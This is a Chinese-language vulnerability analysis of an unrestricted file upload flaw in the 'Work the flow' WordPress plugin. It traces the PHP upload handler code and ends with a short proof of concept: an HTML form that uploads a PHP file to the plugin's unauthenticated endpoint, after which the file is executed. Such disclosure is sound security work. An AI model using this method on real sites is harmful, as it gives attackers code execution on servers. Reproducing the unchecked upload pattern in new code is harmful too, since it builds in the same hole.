## 漏洞类型:
文件上传漏洞
## 漏洞概述:
Work the flow是一个基于HTML5的Wordpress插件,它主要向用户提供文件上传功能。但是由于插件开发作者没有对上传文件进行足够的检查导致插件存在文件上传漏洞。
## 漏洞分析:
漏洞存在于插件“work-the-flow-file-upload\public\assets\jQuery-File-Upload-9.5.0\server\php”目录下UploadHandler.php文件中的UploadHandler类。
下面我们看看漏洞形成的原因:
### 1、UploadHandler类未经验证初始化。
UploadHandler.php同目录下的index.php代码如下:
```
<?php
/*
* jQuery File Upload Plugin PHP Example 5.14
* https://github.com/blueimp/jQuery-File-Upload
*
* Copyright 2010, Sebastian Tschan
* https://blueimp.net
*
* Licensed under the MIT license:
* http://www.opensource.org/licenses/MIT
*/
error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();
```
我们可以看到,程序未经任何的验证就将UploadHandler类进行实例化。
### 2、构造函数调用initialize函数
那现在我们来看看UploadHandler类的构造函数,$initialize默认就为true,构造函数调用initialize函数
```
function __construct($options = null, $initialize = true, $error_messages = null) {
error_log("uploadhandler constructor");
->options = array(
'script_url' => ->get_full_url().'/',
'upload_dir' => dirname(->get_server_var('SCRIPT_FILENAME')).'/files/',
'upload_url' => ->get_full_url().'/files/',
'user_dirs' => false,
'mkdir_mode' => 0755,
'param_name' => 'files',
/** 中间省略 **/
);
/** 中间省略 **/
if ($initialize) {
$this->initialize();
}
}
```
### 3、调用post函数
如果数据为POST模式提交则调用post函数
```
protected function initialize() {
switch (->get_server_var('REQUEST_METHOD')) {
case 'OPTIONS':
case 'HEAD':
->head();
break;
case 'GET':
->get();
break;
case 'PATCH':
case 'PUT':
case 'POST':
->post();
break;
case 'DELETE':
->delete();
break;
default:
->header('HTTP/1.1 405 Method Not Allowed');
}
}
```
### 4、调用handle_file_upload函数
如果上传单个文件时FORM表单中存在一个type="file"和name="files"(构造函数__construct中定义)的input标签,而且这里只要HTTP头里没有HTTP_CONTENT_DISPOSITION参数,则进入else里调用handle_file_upload函数,此时第二个参数是使用我们上传的文件名。
中间涉及的get_server_var函数只是负责取$_SERVER中的值。
```
protected function get_server_var($id) {
return isset($_SERVER[$id]) ? $_SERVER[$id] : '';
}
```
```
public function post($print_response = true) {
if (isset($_REQUEST['_method']) && $_REQUEST['_method'] === 'DELETE') {
return $this->delete($print_response);
}
$upload = isset($_FILES[$this->options['param_name']]) ?
$_FILES[$this->options['param_name']] : null;
// Parse the Content-Disposition header, if available:
$file_name = $this->get_server_var('HTTP_CONTENT_DISPOSITION') ?
rawurldecode(preg_replace(
'/(^[^"]+")|("$)/',
'',
$this->get_server_var('HTTP_CONTENT_DISPOSITION')
)) : null;
// Parse the Content-Range header, which has the following form:
// Content-Range: bytes 0-524287/2000000
$content_range = $this->get_server_var('HTTP_CONTENT_RANGE') ?
preg_split('/[^0-9]+/', $this->get_server_var('HTTP_CONTENT_RANGE')) : null;
$size = $content_range ? $content_range[3] : null;
$files = array();
if ($upload && is_array($upload['tmp_name'])) {
// param_name is an array identifier like "files[]",
// $_FILES is a multi-dimensional array:
foreach ($upload['tmp_name'] as $index => $value) {
$files[] = $this->handle_file_upload(
$upload['tmp_name'][$index],
$file_name ? $file_name : $upload['name'][$index],
$size ? $size : $upload['size'][$index],
$upload['type'][$index],
$upload['error'][$index],
$index,
$content_range
);
}
} else {
// param_name is a single object identifier like "file",
// $_FILES is a one-dimensional array:
$files[] = $this->handle_file_upload(
isset($upload['tmp_name']) ? $upload['tmp_name'] : null,
$file_name ? $file_name : (isset($upload['name']) ?
$upload['name'] : null),
$size ? $size : (isset($upload['size']) ?
$upload['size'] : $this->get_server_var('CONTENT_LENGTH')),
isset($upload['type']) ?
$upload['type'] : $this->get_server_var('CONTENT_TYPE'),
isset($upload['error']) ? $upload['error'] : null,
null,
$content_range
);
}
return $this->generate_response(
array($this->options['param_name'] => $files),
$print_response
);
}
```
### 5、先看handle_file_upload函数的前一部分
这里handle_file_upload调用了get_file_name函数对$name参数进行处理。
```
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new stdClass();
$file->name = $this->get_file_name($name, $type, $index, $content_range);
$file->size = $this->fix_integer_overflow(intval($size));
```
### 6、 get_file_name的作用是返回文件名
这里handle_file_upload调用了trim_file_name和get_unique_filename函数对$name参数进行处理。
```
protected function get_file_name($name,
$type = null, $index = null, $content_range = null) {
return $this->get_unique_filename(
$this->trim_file_name($name, $type, $index, $content_range),
$type,
$index,
$content_range
);
}
```
### 7、 先看trim_file_name函数
trim_file_name函数只是去除了文件名的空格,没有再对文件名进行任何处理就返回的文件名。
```
protected function trim_file_name($name,
$type = null, $index = null, $content_range = null) {
// Remove path information and dots around the filename, to prevent uploading
// into different directories or replacing hidden system files.
// Also remove control characters and spaces (\x00..\x20) around the filename:
$name = trim(basename(stripslashes($name)), ".\x00..\x20");
// Use a timestamp for empty filenames:
if (!$name) {
$name = str_replace('.', '-', microtime(true));
}
// Add missing file extension for known image types:
if (strpos($name, '.') === false &&
preg_match('/^image\/(gif|jpe?g|png)/', $type, $matches)) {
$name .= '.'.$matches[1];
}
return $name;
}
```
### 8、 get_unique_filename函数主要是获取文件的路径+文件名,并未对文件名做任何过虑
get_unique_filename函数中调用的函数都列在函数后面
```
protected function get_unique_filename($name,
$type = null, $index = null, $content_range = null) {
while(is_dir($this->get_upload_path($name))) {
$name = $this->upcount_name($name);
}
// Keep an existing filename if this is part of a chunked upload:
$uploaded_bytes = $this->fix_integer_overflow(intval($content_range[1]));
while(is_file($this->get_upload_path($name))) {
if ($uploaded_bytes === $this->get_file_size(
$this->get_upload_path($name))) {
break;
}
$name = $this->upcount_name($name);
}
return $name;
}
protected function get_upload_path($file_name = null, $version = null) {
$file_name = $file_name ? $file_name : '';
if (empty($version)) {
$version_path = '';
} else {
$version_dir = @$this->options['image_versions'][$version]['upload_dir'];
if ($version_dir) {
return $version_dir.$this->get_user_path().$file_name;
}
$version_path = $version.'/';
}
return $this->options['upload_dir'].$this->get_user_path()
.$version_path.$file_name;
}
protected function upcount_name_callback($matches) {
$index = isset($matches[1]) ? intval($matches[1]) + 1 : 1;
$ext = isset($matches[2]) ? $matches[2] : '';
return ' ('.$index.')'.$ext;
}
protected function upcount_name($name) {
return preg_replace_callback(
'/(?:(?: \(([\d]+)\))?(\.[^.]+))?$/',
array($this, 'upcount_name_callback'),
$name,
1
);
}
```
### 9、现在回到handle_file_upload中,文件名未经任何过虑就直接进入了 move_uploaded_file函数。
```
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new stdClass();
$file->name = $this->get_file_name($name, $type, $index, $content_range);
$file->size = $this->fix_integer_overflow(intval($size));
$file->type = $type;
////validate函数只是对文件的大小等做校验,不涉及文件名。
if ($this->validate($uploaded_file, $file, $error, $index)) {
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
mkdir($upload_dir, $this->options['mkdir_mode'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) &&
$file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen('php://input', 'r'),
$append_file ? FILE_APPEND : 0
);
}
$file_size = $this->get_file_size($file_path, $append_file);
if ($file_size === $file->size) {
$file->url = $this->get_download_url($file->name);
if ($this->is_valid_image_file($file_path)) {
$this->handle_image_file($file_path, $file);
}
} else {
$file->size = $file_size;
if (!$content_range && $this->options['discard_aborted_uploads']) {
unlink($file_path);
$file->error = 'abort';
}
}
$this->set_additional_file_properties($file);
}
return $file;
}
```
### 10.小结
从头到尾,我们都没有看到文件名的过虑,也就是说我们可以上传任意的PHP文件到服务器中。
# # 漏洞的验证方法:
### 1、新建一个html文件,修改action的提交地址为目标地址。
```
<form action="http://127.0.0.1/wordpress/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php" method="post" enctype="multipart/form-data">
<p><input type="text" name="action" value="upload"/></p>
<input type="file" name="files"/>
<input type="submit" value="Submit" />
</form>
```
### 2、选择一个php文件点击提交。(这里我们假设为test.php)
### 3、访问如下地址将会看到PHP代码已经执行了。
http://127.0.0.1/wordpress/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/files/test.php
暂无评论